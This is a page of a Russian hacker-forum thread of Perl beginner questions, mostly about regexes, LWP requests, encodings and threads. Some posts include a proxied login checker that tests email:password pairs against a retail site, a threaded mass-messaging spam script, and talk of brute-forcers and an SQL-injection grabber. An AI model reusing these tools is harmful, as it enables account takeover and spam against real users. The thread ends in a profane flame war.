Просмотр полной версии : [Perl] Новичкам: задаем вопросы
Страницы :
1
2
3
4
[
5]
6
7
ph1l1ster
24.03.2009, 14:11
perl желательно, но смысл понятен, полюбому можно неиспользую for. ток как?)
можно если написать
while($get->content){
if (/<a href=\"(.*)\">/)
{
print "$1\n";
}
}
Я бы сделал что-то типа такого:
print $1 while($get->content =~ /<a href=\"(.*)\">/igm);
А вообще в регулярных выражениях есть еще такая штука: \G - граница, на которой остановился предыдущий глобальный поиск, выполняемый командой m/.../g, может она поможет, если такой код не сработает!
my @arr = $get->content =~ /<a href=\"(.*)\">/g;
print join "\n", @arr;
KaZ@NoVa
27.03.2009, 18:35
if ($get->content =~ /<a href=\"(.*)\">/)
{
print "$1\n";
}
выводит только первую найденную. как вывести все найденные?
Попробуй вместо 1 написать all
if ($get->content =~ /<a href=\"(.*)\">/)
{
print "$1\n";
}
выводит только первую найденную. как вывести все найденные?
my $a = q[f549ty3945g9h48hg34hg430ghgh4gh3470gh473g5834];
my @b = $a =~ /(\d+)/g;
print join "\n", @b;
__END__
549
3945
9
48
34
430
4
3470
473
5834
Проблемы с компиляцией Perl 5.Подскажите!
<javascript:alert("Help!")>
http://www.activestate.com/activeperl/
Привет! Я хочу сграббить все главные темы с blogs.yandex.ru.
$req = $ua->get("http://blogs.yandex.ru")->as_string;
my $topic= $1 if $req=~/<i class=\"ico\"><\/i>(\w+)</;
printf "$topic";
Однако я получу только первую тему. Как сделать так, чтобы получить все три темы?
напиши типа
my @topic = $req =~ /<i class="ico\"><\/i>(\w+)</gm;
print @topic;
ps юзайте дефолтывою переменную куда совпадение с маской поиска закидывается $& чтобы лишний массив topic не пихать
KaZ@NoVa
31.03.2009, 18:46
товарищи спецалисты в пхп .. помогите нубу установить чат бородина на хосте
https://forum.antichat.ru/showpost.php?p=1200576&postcount=3/////.
а причём Perl?.. :D :D
Народ есть ли в Perl альтернатива file_get_content как в PHP
ph1l1ster
31.03.2009, 21:58
Народ есть ли в Perl альтернатива file_get_content как в PHP
можно так
$answer->content =~ //
или так:
if(index($answer->content,"")>-1)
Народ есть ли в Perl альтернатива file_get_content как в PHP
кури LWP
Посылаю запрос, только сервер не яндекс, я поменял, чтобы остаться в тайне -_-. Авторизацию по куки, поэтому отправляю туда свои куки. Почему в ответе только <html>?
Когда я посылаю тот же самый запрос через плагин для мазилы (Live Headers), то открывается вполне полная страница.
Спасибо
http://www.free-lance.ru/users/tonnon/upload/f_49d2b61a625dd.jpg
KaZ@NoVa
01.04.2009, 10:15
Народ есть ли в Perl альтернатива file_get_content как в PHP
Имеется ввиду file_get_contents? Если да, то, насколько я понял, эта функция имеет 2 назначения - побайтное чтение файла и чтение какого-либо URL.
Для первого случая в Perl используется read. Посмотреть можно здесь - http://www.arininav.ru/js/perl11.htm.
Во втором случае используется модуль LWP:
$url = 'http://vkontakte.ru';
use LWP::UserAgent;
$ua = LWP::UserAgent -> new();
$req = HTTP::Request -> new(GET => "$url");
$response = $ua -> request($req);
$page = $response -> content;
print "$page";
zavra, зачем там POST запрос то? нука, попробуй GET
$header = "GET http://yandex.ru/login HTTP/1.1\r\n".
"Host: yandex.ru\r\n".
"..........\r\n".
"Content-Length: 0\r\n\r\n";
примерно так, хотя
http://yandex.ru/login 404)
http://www.free-lance.ru/users/tonnon/upload/f_49d39defe26c9.png
ph1l1ster
01.04.2009, 21:56
if ($answ=~m/Коментарии <i>\((\d+)\)<\/i>/ ){ print "$com";}
а лучше сделай так:
my @com = $get->content =~ /Коментарии <i>\((\d+)\)<\/i>/g;
print join "\n", @com;
п.с нафига в скриншоте то?!
$com = ($answ =~ /Коментарии <i>\((\d+)\)<\/i>/);
my $name = $1 if $answ=~/<a href="\/users\/12\">(\S+)<\/a>/;
my $com = $1 if $answ =~/Комментарии <i>\((\d+)\)<\/i>/;
printf "$name"."$com"
Ник мой он мне отдает, а комментарии нет.
Попробовал два варианта ниже, ничего :(
У меня работает
if(/Комментарии.+\((\d+)\)/) {print $1 . "\n"; }
my $name = $1 if $answ=~/<a href="\/users\/12\">(\S+)<\/a>/;
my $com = $1 if $answ =~/Комментарии <i>\((\d+)\)<\/i>/;
printf "$name"."$com"
Ник мой он мне отдает, а комментарии нет.
Попробовал два варианта ниже, ничего :(
у тебя проблемы с кодировками, вызванные тем, что в первом регексе нету русских букв, а во втором - есть. сделай файл в утф8, пропиши в начале use utf8, юзай Encode чтобы сконвертить пагу в нужную кодировку, если сам не разберешься, скинь сюда нужный урл
нужную [/B]кодировку,
страница-то и есть в утф8( а в какую "нужную"?
cp-1251 по идее...как там пишется нипомню...
страница-то и есть в утф8( а в какую "нужную"?
а в какой сорцы?
в утф-8
стоит use utf8 в начале?
Malformed UTF-8 character (unexpected non-continuation byte 0xee, immediately af
ter start byte 0xca) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0xec, immediately af
ter start byte 0xee) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0xec, immediately af
ter start byte 0xec) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0xe5, immediately af
ter start byte 0xec) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0xed, immediately af
ter start byte 0xe5) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0xf2, immediately af
ter start byte 0xed) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0xe0, immediately af
ter start byte 0xf2) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0xf0, immediately af
ter start byte 0xe0) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0xe8, immediately af
ter start byte 0xf0) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0xe8, immediately af
ter start byte 0xe8) at test2.pl line 19.
Malformed UTF-8 character (unexpected non-continuation byte 0x2e, immediately af
ter start byte 0xe8) at test2.pl line 19.
вот что пишет с use utf8
ph1l1ster
02.04.2009, 20:33
Немогу догнать как вытащить все внешние ссылки с сайта...
ph1l1ster,
use WWW::Mechanize;
my $mech = WWW::Mechanize->new();
$mech->get('http://lurkmore.ru/%D0%92%D0%B0%D1%83-%D0%B8%D0%BC%D0%BF%D1%83%D0%BB%D1%8C%D1%81');
my @links = $mech->find_all_links(url_regex => qr/https?:\/\/[^lurkmore\.ru]/);
for my $link (@links) {
print $link->url()."\n";
}
zavra, значит сорцы на самом деле не в утф
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
да, вероятно не в утф-8
блин, не могу скрип дописать из-за сирани кодировки :(
да, вероятно не в утф-8
блин, не могу скрип дописать из-за сирани кодировки :(
не сорцы страницы хтмл, а сорцы скрипта перл!
constanta
09.04.2009, 05:31
Граждане очень нужна помощь!!!
Замучался уже с этими соксами. у не работает хоть убей. Почему не знаю. Прошу помочь.ОЧЕНЬ НУЖНО!!!!
Без соксов все номрально пашет а как только подключаю - болт.
#!/usr/local/bin/perl -w
use LWP::UserAgent;
use IO::All;
use LWP::Protocol::socks;
$socks="хх.ххх.ххх.хх:ххххх";
$email="ххххххххххххххххххх";
$pass="хххххххххххх";
$use_socks=1;
$ua = new LWP::UserAgent(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5');
if($use_socks) { $ua->proxy([qw(http https)] => 'socks://'.$socks); }
$req = HTTP::Request->new(POST=>'http://www.bonprix.ua/ua/login.htm');
$req->referer('http://www.bonprix.ua/ua/login.htm');
$req->content_language('ru');
$req->content_type('application/x-www-form-urlencoded');
$req->content('login='.$email.'&haslo='.$pass);
$result = $ua->request($req);
if($result->code == 302) {print "$email:$pass - GOOD\n";}
else { print "$email:$pass - BAD\n"; }
Граждане очень нужна помощь!!!
Замучался уже с этими соксами. у не работает хоть убей. Почему не знаю. Прошу помочь.ОЧЕНЬ НУЖНО!!!!
Без соксов все номрально пашет а как только подключаю - болт.
#!/usr/local/bin/perl -w
use LWP::UserAgent;
use IO::All;
use LWP::Protocol::socks;
$socks="socks://хх.ххх.ххх.хх:ххххх";
$email="ххххххххххххххххххх";
$pass="хххххххххххх";
$use_socks=1;
$ua = new LWP::UserAgent(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5');
if($use_socks) { $ua->proxy([qw(http https)] => 'socks://'.$socks); }
$req = HTTP::Request->new(POST=>'http://www.bonprix.ua/ua/login.htm');
$req->referer('http://www.bonprix.ua/ua/login.htm');
$req->content_language('ru');
$req->content_type('application/x-www-form-urlencoded');
$req->content('login='.$email.'&haslo='.$pass);
$result = $ua->request($req);
if($result->code == 302) {print "$email:$pass - GOOD\n";}
else { print "$email:$pass - BAD\n"; }
У тебя в строке
if($use_socks) { $ua->proxy([qw(http https)] => 'socks://'.$socks); }
и в переменной $socks записано socks://, т.о. получается что адрес прокси начинается с socks://socks:// ! Может в этом косяк?
constanta
09.04.2009, 13:18
У тебя в строке
if($use_socks) { $ua->proxy([qw(http https)] => 'socks://'.$socks); }
и в переменной $socks записано socks://, т.о. получается что адрес прокси начинается с socks://socks:// ! Может в этом косяк?
Да да. тут я автоматом написал. подправил.
Но скрипт не работает. Почему не понимаю.Пожалуйста помогите!!!
ph1l1ster
09.04.2009, 14:07
Да да. тут я автоматом написал. подправил.
Но скрипт не работает. Почему не понимаю.Пожалуйста помогите!!!
почитай сначала чем отличаются socks и http proxy!
и темболее,
$ua->proxy([qw(http https)]
он работать не будет, хоть ты усрись!! :\ то же самое если бы ты в браузер сокс сунул.
Использование socks в LWP (http://xpoint.ru/know-how/Perl/GotovyieResheniya/LWPThroughSocks?3)
constanta
09.04.2009, 17:34
почитай сначала чем отличаются socks и http proxy!
и темболее,
$ua->proxy([qw(http https)]
он работать не будет, хоть ты усрись!! :\ то же самое если бы ты в браузер сокс сунул.
Использование socks в LWP (http://xpoint.ru/know-how/Perl/GotovyieResheniya/LWPThroughSocks?3)
Вообще то я основывался на вот этом модуле
LWP::Protocol::socks;
LWP::Protocol::socks (http://search.cpan.org/dist/LWP-Protocol-socks/lib/LWP/Protocol/socks.pm)
И смотрел чекер вкантакта - там точно так же использовался такой же модуль. И я так понимаю успешно.
ХЕЛПППП!!!С меня на пиво гарантировано тому кто поможет разобраться.
Что именно не работает то? Может у тебя соксы хреновые
constanta
09.04.2009, 23:37
Что именно не работает то? Может у тебя соксы хреновые
просто нет ответа через сокс. без сокса нормально а с соксом нет(
Соксы хорошие. Беру на сервисе. все нормально.
просто нет ответа через сокс. без сокса нормально а с соксом нет(
Соксы хорошие. Беру на сервисе. все нормально.
Нужен либо пример рабочего сокса, который ты используешь, либо пакеты отснифай и выложи сюда
суть вопроса)
на страничке есть java скрипты. при запросе этой странички в ответ ругается что браузер не поддерживает яваскрипты. как и где указать что поддерживает?)
копать в сторону LWP::UserAgent?
запрос передается постом и все заголовки передаю как в оригинале.
пс. на пхп с курлом все работает)
ну наверно отправляй нормальный юзерагент, например ие7
так сложно сказать
2Spyder отправлял) отправлял как у меня в файрфоксе. не помогает
дело действительно в юзер-агенте?)
Ты адрес сайта дай, с которым работать пытаешься, тогда можно будет точно сказать.
Или код выложи свой
пытаюсь получить индекс.пхп чата бородина.
sub sends{
use LWP::UserAgent;
my $ua = LWP::UserAgent->new();
$url1=$_[0];
$post=$_[1];
$ua->agent("Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.8.1.4pre) Gecko/20070511 Camino/1.6pre");
$ua->default_header('Accept-Language' => "en-US,en;q=0.5");
$ua->default_header('Accept' => "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5");
$ua->default_header('Accept-Charset' => "windows-1251,utf-8;q=0.7,*;q=0.7");
my $url = $host."/".$url1;
my $req = HTTP::Request->new( POST => $url );
$req->content($post);
my $res = $ua->request($req);
my $response = $res->content();
return $response;
}
sends("index.php","PHPSESSID=".$session."&clean-ident=1239095243&br_init_quot=%27php%22spb%22ru%27&br_servtime=1239095249&br_width=".$br_width."&br_height=".$br_height."&br_color=".$br_color."&br_zone=".$br_zone."&br_plugin=false&br_jsreferer=&br_usertime=1239095331906");
ph1l1ster
14.04.2009, 12:38
j0ker13, а в чём проблема в общем-то?
print $response;
2ph1l1ster
проблема в том что после print $response;
выводится надпись
<h2>Извините, работа с чатом невозможна!</h2>
Ваш браузер не поддерживает JavaScript.
Скорее всего, вы установили в браузере 'ВЫСОКУЮ' степень безопасности (восстановите настройки браузера).
вопрос в том как заставить сервак думать что скрипты поддерживаются и включены?)
и еще пара вопросов)
если в строке ищешь нужное с помощью регулярки где находится несколько правильных результатов как их выводить все?)
и еще) например в пхп быстрее работать с помощью курла чем с сокетами. а в перле какой способ быстрее чтоб запрашивать удаленную страничку?)
и еще пара вопросов)
если в строке ищешь нужное с помощью регулярки где находится несколько правильных результатов как их выводить все?)
Например при парсинге ип:
my $data = "127.0.0.1:8080";
my $pars = $data =~ /(.*)\:(.*)/;
if($pars){
print $1.":".$2."\n";
}
Думаю здесь понятно
а в перле какой способ быстрее чтоб запрашивать удаленную страничку?)
Если просто получить страничку (типа как в пхп file_get_contents):
use LWP::UserAgent;
$ua = new LWP::UserAgent;
my $answ = $ua->get("http://ya.ru")->as_string;
print $answ;
ph1l1ster
16.04.2009, 21:46
->as_string;
Зачем ещё заголовками голову морочать
Достаточно и
->content;
если в строке ищешь нужное с помощью регулярки где находится несколько правильных результатов как их выводить все?)
так лучше:
@cont = $get->content =~ //g;
print join "\n", @cont;
и еще) например в пхп быстрее работать с помощью курла чем с сокетами. а в перле какой способ быстрее чтоб запрашивать удаленную страничку?)
use LWP::Simple qw[get];
my $page = get('http://google.com');
спс всем
воспользовался этим
@cont = $get->content =~ //g;
print join "\n", @cont;
накопились еще некоторые вопросы)
вывод в консоль происходит только после выполнения скрипта
можно ли заставить не буферизировать данные а сразу выводить?)
типа аналога flush в пхп)
$|=1; в начале скрипта добавь
У меня такая проблема. Есть скрипт. Если он отрпавляет сообщение тому ID которого несушествует то произходит crash перла. Предпологаю что ето из-за того что скрипт неможет закончить свою задачу. Как с этим боротся?
Код покажи, иначе непонятно из-за чего такое происходит
отрпавляет сообщение тому ID которого несушествует то произходит crash перла
А если проверку сделать ? если есть то отправил если нет то берет другой id... лучше конечно чтобы код выложил.
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
my $threads = 1;
my $username = '';
my $password = '';
my $msg = '...';
open BASE, '<base.txt' || die "$!\n";
chomp (my @base : shared = <BASE>);
close BASE;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new;
$ua->cookie_jar($cookies);
$ua->post('http://toodoo.ru/account/login',
{
email => $username,
password => $password})->as_string;
for(0..$threads) {$trl[$_] = threads->create(\&send, $_);}
for(@trl) { $_->join; }
sub send {
while (1) {
my $id = shift @base;
return if (!$id);
$ua->post('http://toodoo.ru/inbox/compose',
{
user_id => $id,
message_text => $msg})->as_string;
print "$id\n";
sleep (1);
}
}
как правильно разделить работу скрипта на потоки если его работа связана с увеличением одного числа
пример:
$thr=5;
for ($t=1;$t<4000;$t=$t+5){
for(0..$thr) {
$trl[$_] = threads->create(\&func);
}
for(0..$thr) {
$trl[$_]->join;
}}
func{
$t++;
....
}
в func работа с этим числом(а точнее дамп таблы через лимит mysql)
или так?
@arr=(1..4000);
while(@arr){
for(0..$thr) {
$trl[$_] = threads->create(\&func);
}
for(0..$thr) {
$trl[$_]->join;
}}
}
func {
$t=shift(@arr);
...
}
оба способа работают но жутко тормозят. первый сжирает много памяти... или как оптимизировать хоть один? или есть более красивее варианты?
Попробуй типа
use warnings;
use threads;
use threads::shared;
my $tn = 5;
my @trl = ();
my $start : shared = 1;
my $end = 4000;
for(0..$tn-1) { $trl[$_] = threads->create(\&func, $_) }
for(@trl) { $_->join }
sub func
{
while($start < $end)
{
{lock($start); $start++;} print $start."\n";
}
}
2Kaimi
работает но даже с запросами, $start идет по порядку...
хотя netstat показывает пять соединений у перла)
и вроде не грузит ни проц ни память)
и $end разве не нада расшаривать?
$end разве не нада расшаривать?
Не нужно, нужно расшаривать те переменные которые изменяются в процессе работы нитей, а в данном случае $end используется только для чтения.
спс ясно) а как всетаки сделать многопоточность?)
Kaimi тебе привел пример, вот его и бери за основу.
взял за основу. по теории должна быть многопоточность но как уже говорил переменная выводится по порядку что видимо означает что все потоки выполняются последовательно.
в тех примерах что я привел выше переменная выодится хаотично а не по порядку...
и все таки как оптимизировать мой скрипт(жрет много памяти):
use threads;
use threads::shared;
use LWP::UserAgent;
|=1;
$thr = 10;
$ua = LWP::UserAgent->new();
$t=1;
print "start...\n";
while($t<100){
for(0..$thr) {
print "new thread...\n";
$trl[$_] = threads->create(\&func,$t++);
}
for(0..$thr) {
$trl[$_]->join;
}
sub func{
$t=$_[0];
print "new zap...$t\n";
my $res = $ua->post( "http://mysite.com", {email => $email } )->as_string;
$res=~m/1(.*)2/ig;
print $t." ".$1."\n";
}
привет всем допустим у меня есть брутт на пёрл как его пременить помогите кто сможет
Как запустить ? ... создай файл(в папке со скриптом) 1.bat в нем cmd.exe напиши, потом нажми на него ) и напиши perl имя скрипта.pl
привет всем допустим у меня есть брутт на пёрл как его пременить помогите кто сможет
Ну для начала нужно скачaть ActivePerl (http://downloads.activestate.com/ActivePerl/Windows/5.10/ActivePerl-5.10.0.1004-MSWin32-x86-287188.msi)
mr-leon, брут чего? И где ты его собираешься запускать? С локального или с сервера? Можно по подробнее, если хочешь расширенный ответ.
ph1l1ster
30.04.2009, 14:18
Логинюсь в vbulletin:
$url="форум";
$client = LWP::UserAgent->new( ) or die;
$client->agent('Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))');
$cookie_jarr = HTTP::Cookies->new();
$client->cookie_jar( $cookie_jarr );
$answer = $client->post($url,
Content => [
"vb_login_username" => "логин",
"vb_login_password" => "пасс",
"do" => "login",
],);
Логин удачный идём дальше на страницу того что нужно сграбить:
$url="форум&page=1";
$client = LWP::UserAgent->new( ) or die;
$client->agent('Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))');
$client->cookie_jar( $cookie_jarr );
$answer = $client->get($url);
$answer->content =~ /рерулярка/g;
потом иду на следующюю страницу, также, только естественно уже $url="форум&page=2"
но, по регулярке не грабиться ничего, даже контент страницы не показывает. помогите разобраться :)
т.е. дальше первой страницы ничего неграбится. sleep непомогает
если беру страницы из .тхт то всегда ошибка:
Can't call method "scheme" on an undefined value at C:/Perl/lib/HTTP/Cookies.pm
line 44, <PAGE> line 315.
пробовал просто выводить содержимое страниц? Навигация вообще происходит или он дальше 1-й страницы не идет?
Может имеет смысл еще раз логинется перед получением новой страницы?
ph1l1ster
01.05.2009, 18:27
demond, с этим разобрался, невнимательность)
далее:
опять с куками, беру url из списка и перехожу по ней, выдазит ошибка:
Can't call method "scheme" on an undefined value at C:/Perl/lib/HTTP/Cookies.pm line 44, <URLS> line 71.
sub next{
open(A, ">>a.txt");
open(URLS, "urls.txt");
@urlo = <URLS>;
$client = LWP::UserAgent->new( ) or die;
$client->agent('Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))');
$client->cookie_jar( $cookie_jarr );
$answer = $client->get($urlo);
foreach $urlo (@urlo)
{@qwerty = $answer->content =~ /(.*)/g;}
print A join "\n", @qwerty;}
а если поодной url типа $answer = $client->get($urlo[1]);
то всё норм! где ошибка?? :)
sub next{
open(A, ">>a.txt");
open(URLS, "urls.txt");
@urlo = <URLS>;
$client = LWP::UserAgent->new( ) or die;
$client->agent('Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))');
$client->cookie_jar( $cookie_jarr );
$answer = $client->get($urlo);
foreach $urlo (@urlo)
{@qwerty = $answer->content =~ /(.*)/g;}
print A join "\n", @qwerty;}
$answer = $client->get($urlo); - а где вообще задана переменная $urlo ? и цикл зачем? просто вывести контент н раз?
упд: попробуй strict + warnings
упд2:
foreach $urlo (@urlo)
{ $answer = $client->get($urlo);
@qwerty = $answer->content =~ /(.*)/g;
print A join "\n", @qwerty;
}
}
.:[Dumi]:.
02.05.2009, 11:32
лолло
sub next {
open(A, ">>a.txt");
open(URLS, "urls.txt");
@urlo = <URLS>;
$client = LWP::UserAgent->new( ) or die;
$client->agent('Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))');
$client->cookie_jar( $cookie_jarr );
$answer = $client->get($urlo);
foreach $urlo (@urlo) {
@qwerty = $answer->content =~ /(.*)/g;
}
print A join "\n", @qwerty;
}
Мде, ну и код
#!/usr/bin/perl
use strict;
use warnings;
use diagnostics;
sub next {
open(A, ">>a.txt");
# Принято использовать вид open my $A, '>>', 'a.txt' or die "open() error: $!\n";
open(URLS, "urls.txt");
# open my $URLS, '<', 'urls.txt' or die "Shit, an error: $!\n!";
@urlo = <URLS>;
$client = LWP::UserAgent->new( ) or die;
$client->agent('Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))');
$client->cookie_jar( $cookie_jarr );
$answer = $client->get($urlo);
# А не будет ли тут Undefined переменной? $urlo не есть @urlo, также не есть его элемент
foreach $urlo (@urlo) {
@qwerty = $answer->content =~ /(.*)/g;
}
# тут вообще я упал и не могу встать, массив @qwerty при каждом проходе цикла переписывается. Зачем? Что вообще хотелось получить этой регуляркой?
print A join "\n", @qwerty;
# А файлы принято закрывать. close $URLS; close $A;
}
упд: попробуй strict + warnings
Это вообще должно быть в любом скрипте.
По ходу чтения книги, наткнулся на такую вешь. При запуске программы вылетает ошибка. Вот сам код:
!#usr/bin/perl -w
$im_thinking_of=int(rand10);
print "Введите число от 0 до 9:";
$guess=<STDIN>;
chomp $guess;
if ($guess > $im_thinking_of) {
print "Перебор!\n";
} elsif ($guess < $im_thinking_of) {
print "Недобор!\n";
} else {
print "Вы угадали!\n";
}
Текст ошибки:
Can't modify not in scalar assignment at C:\programs\game.pl line 3, near ");"
Восклицательный знак не туда поставил в первой строке
Еще такой вопрос. Когда запускаю скрипт на выполнение через командную строку, русский язык коряво отображается, как сделать, чтобы нормально отображался.
Сменить кодировку всего скрипта
ph1l1ster
06.05.2009, 11:39
Еще такой вопрос. Когда запускаю скрипт на выполнение через командную строку, русский язык коряво отображается, как сделать, чтобы нормально отображался.
общий вопрос, к перлу не относящийся.
русик xterm
http://www.google.com/search?hl=ru&client=opera&rls=ru&hs=Dfw&num=100&q=%D1%80%D1%83%D1%81%D0%B8%D1%84%D0%B8%D0%BA%D0%B0 %D1%86%D0%B8%D1%8F+xterm&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=
http://www.google.com/search?hl=ru&client=opera&rls=ru&hs=Sfw&num=100&q=%D1%80%D1%83%D1%81%D0%B8%D1%84%D0%B8%D0%BA%D0%B0 %D1%86%D0%B8%D1%8F+%D0%BA%D0%BE%D0%BD%D1%81%D0%BE% D0%BB%D0%B8&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=
консоль винды:
http://www.google.com/search?client=opera&rls=ru&q=%D1%80%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9+%D1%8 F%D0%B7%D1%8B%D0%BA+%D0%B2+%D0%BA%D0%BE%D0%BD%D1%8 1%D0%BE%D0%BB%D0%B8+windows&sourceid=opera&ie=utf-8&oe=utf-8
Еще такой вопрос. Когда запускаю скрипт на выполнение через командную строку, русский язык коряво отображается, как сделать, чтобы нормально отображался.
sub cyr
{
($_)=@_;
y/А-яЁё/\x80-\xaf\xe0-\xf1/;
return $_;
}
как из страницы полученной через LWP выдрать ВСЕ значения найденные регуляркой
@array = $response =~ /anything/g;
такой вот вопрос.
Как извлечь все слова из каждой строки?
#!usr/bin/perl -w
open(WORD, "C:/programs/word.txt") || die "$!"; # открываем файл
@word=<WORD>; # считываем строки в массив
chomp @word;
close(WORD);
$_/\do+g/;
@word=grep length{$_}>4, @words; # поиск слов
chomp @words;
open(WORDS, ">C:/programs/words.txt") || die "$!"; # запись слов в новый файл
if (! Print WORDS "Запись сделана ", @words, "\n") {
warn "Ошибка при записи в файл words: $!";
}
Close(WORDS);
open(WORD, "C:/programs/word.txt") || die "$!"; # открываем файл
my $word = join '', <WORD>;
close WORD;
my @words = $word =~ /(\w{5,})/g; # поиск слов
open(WORDS, ">C:/programs/words.txt") || die "$!";
print WORDS join("\n", @words);
close WORDS;
hors_de_prix
10.05.2009, 14:44
Я достал недавно Граббер на pl
и в приложении был парсер но этот парсер не дописан . Помогите дописать скрипт . (при клике дает ошибку)
вот :
#!/usr/bin/perl
print "===================================\n";
print "=SQL-injection Parser =\n";
print "===================================\n";
open(TT, 'C:\Perl\result.txt');
open(F, '>C:\Perl\result2.txt');
while ($line = <TT>)
{
$x=index($line, "^");
$z=rindex($line, "^" );
if($x>-1 && $z>-1){
$long=$z-$x;
$res=substr($line, ($x+1), ($long-1)
print F $res. "\n";
$x=-1;
$z=-1;
}
}
print "===================================\n";
print "= DONE =\n";
print "===================================\n";
close TT;
close F;
Я достал недавно Граббер на pl
и в приложении был парсер но этот парсер не дописан . Помогите дописать скрипт . (при клике дает ошибку)
вот :
#!/usr/bin/perl
print "===================================\n";
print "=SQL-injection Parser =\n";
print "===================================\n";
open(TT, 'C:\Perl\result.txt');
open(F, '>C:\Perl\result2.txt');
while ($line = <TT>)
{
$x=index($line, "^");
$z=rindex($line, "^" );
if($x>-1 && $z>-1){
$long=$z-$x;
$res=substr($line, ($x+1), ($long-1)
print F $res. "\n";
$x=-1;
$z=-1;
}
}
print "===================================\n";
print "= DONE =\n";
print "===================================\n";
close TT;
close F;
$res=substr($line, ($x+1), ($long-1) в конце поставь ); чтобы получилось так:
$res=substr($line, ($x+1), ($long-1));
hors_de_prix
10.05.2009, 15:15
Огромное спасибо ! Я даже и не знал что ошибка в закрытие .
Маленькиие вопросики:
1.Недавно занимался пхп.Не повредит ли изучение Perl уже заложенным основам РНР(Непривычно,брр).
2.Без применения chomp() проверки всегда оказываются *левыми*,хотя я и не вбивал пробельных символов. Почему ?
ЗЫ: Благодарен за любые ответы по делу.Спасибо)
1. нет. главное - желание
2. перенос строки
3. ой)
синтаксис пшп и перла в чём то очень схожи
сказывается наследственность си
кстати в перле нулбайт тоже является концом строки)
Хех)))Согласен,но иногда его *схожесть* порой пугает,и я начинаю тупить в пыхыпы:(.Вот и боюсь)
Php и си - совершенно разные вещи, и их нельзя сравнивать.
тогда объясни в чём они разные)
я какбэ на этих языках программирую и читаю книжку, а не статьи
у меня диплом, а у тебя алгебра
http://forum.antichat.ru/thread120596.html
(и тут ты хочешь отписать, что это брату, это не мне))
wildshaman
23.05.2009, 14:26
это языки программирования блядь, чё их блядь не сравнить то ёбана? ты наверно хочешь приебаться к компилируемому и интерпретируемому, ога?)
я какбэ на этих языках программирую и читаю книжку, а не статьи
у меня диплом, а у тебя алгебра
http://forum.antichat.ru/thread120596.html
(и тут ты хочешь отписать, что это брату, это не мне))
ебана, моторная лодка и поезд - средства передвижения, так схуяли же их не сравнить?
php и си - совершенно разные вещи, хотя бы брать в расчет то, что одно интерпретируемое, а другое - компилируемое
ПыСы:не-а, даже пытаться не буду отмазываться, это было мне :)
php и си - совершенно разные вещи, хотя бы брать в расчет то, что одно интерпретируемое, а другое - компилируемое
и что? ты процитировал мои слова, дальше что? где характеристика? чё ты тут пытаешься поспорить о том, в чём не разбираешься?
wildshaman
23.05.2009, 14:39
и что? ты процитировал мои слова, дальше что? где характеристика? чё ты тут пытаешься поспорить о том, в чём не разбираешься?
Опяяять....
Не веришь мне - спроси любого другого участника форума, может тогда в твою маленькую головуюпридет мылсь, что нельзя сравнивать пых и си. НЕЛЬЗЯ
Опяяять....
Не веришь мне - спроси любого другого участника форума, может тогда в твою маленькую головуюпридет мылсь, что нельзя сравнивать пых и си. НЕЛЬЗЯ
чё ты на других косишь?) за себя отвечай.
ты представления не имеешь о языках программирования, эксперт
или все считают, что ты набрутил асек, сделал фейк (2 строки кода) и ты очень крут?)
wildshaman
23.05.2009, 15:00
чё ты на других косишь?) за себя отвечай.
ты представления не имеешь о языках программирования, эксперт
или все считают, что ты набрутил асек, сделал фейк (2 строки кода) и ты очень крут?)
а при чем тут брут асек и фейки?)
Соскакиваем с етмы, ибо ответить нечего?)
Соскакиваем с етмы, ибо ответить нечего?)
сейчас я тебе, как у тебя на уроках поясню. с темы никто не соскакивал. я тебя спросил про различия. ты начал приводить нелепые какие-то метафоры с лодками, транпортными средствами. после начал орать, что НЕЛЬЗЯ. потом решил скосить на других :"спроси любого другого участника форума". Всем этим ты подчёркиваешь лишь то, что НИКАК не разбираешься в теме, тебе нечего ответить на вопрос.
Но. Всунуться ты всунулся. Ты думал, что твои плюсики и статус псевдо-эскперта == "авторитетное" мнение. ты ошибаешься. авторитетным мнением тут даже не пахнет. все твои "авторитеты" сводятся к написанию 4х элементарных строк кода и к нажатию на кнопочки брутера.. с такими знаниями, в таких темах тебе ловить нечего. читай молча или читай книги.
wildshaman
23.05.2009, 17:04
сейчас я тебе, как у тебя на уроках поясню. с темы никто не соскакивал. я тебя спросил про различия. ты начал приводить нелепые какие-то метафоры с лодками, транпортными средствами. после начал орать, что НЕЛЬЗЯ. потом решил скосить на других :"спроси любого другого участника форума". Всем этим ты подчёркиваешь лишь то, что НИКАК не разбираешься в теме, тебе нечего ответить на вопрос.
Но. Всунуться ты всунулся. Ты думал, что твои плюсики и статус псевдо-эскперта == "авторитетное" мнение. ты ошибаешься. авторитетным мнением тут даже не пахнет. все твои "авторитеты" сводятся к написанию 4х элементарных строк кода и к нажатию на кнопочки брутера.. с такими знаниями, в таких темах тебе ловить нечего. читай молча или читай книги.
